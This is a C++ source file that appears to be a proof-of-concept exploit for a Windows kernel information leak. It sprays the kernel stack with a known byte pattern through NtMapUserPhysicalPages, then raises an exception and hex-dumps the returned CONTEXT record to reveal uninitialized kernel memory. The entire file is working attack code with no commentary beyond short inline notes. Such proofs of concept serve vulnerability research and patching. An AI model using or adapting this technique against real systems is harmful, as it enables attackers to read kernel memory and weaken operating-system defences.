#include <Windows.h>
#include <cstdio>

extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
  
  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

VOID SprayUserStack() {
  // Buffer allocated from the user-mode stack.
  BYTE buffer[4096];
  MyMemset(buffer, 'x', sizeof(buffer));
}

LONG WINAPI MyUnhandledExceptionFilter(
  _In_ struct _EXCEPTION_POINTERS *ExceptionInfo
  ) {
  PrintHex((PBYTE)ExceptionInfo->ContextRecord, sizeof(CONTEXT));
  return EXCEPTION_CONTINUE_EXECUTION;
}

int main() {
  SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);

  SprayKernelStack();
  SprayUserStack();

  RaiseException(1337, 0, 0, NULL);

  return 0;
}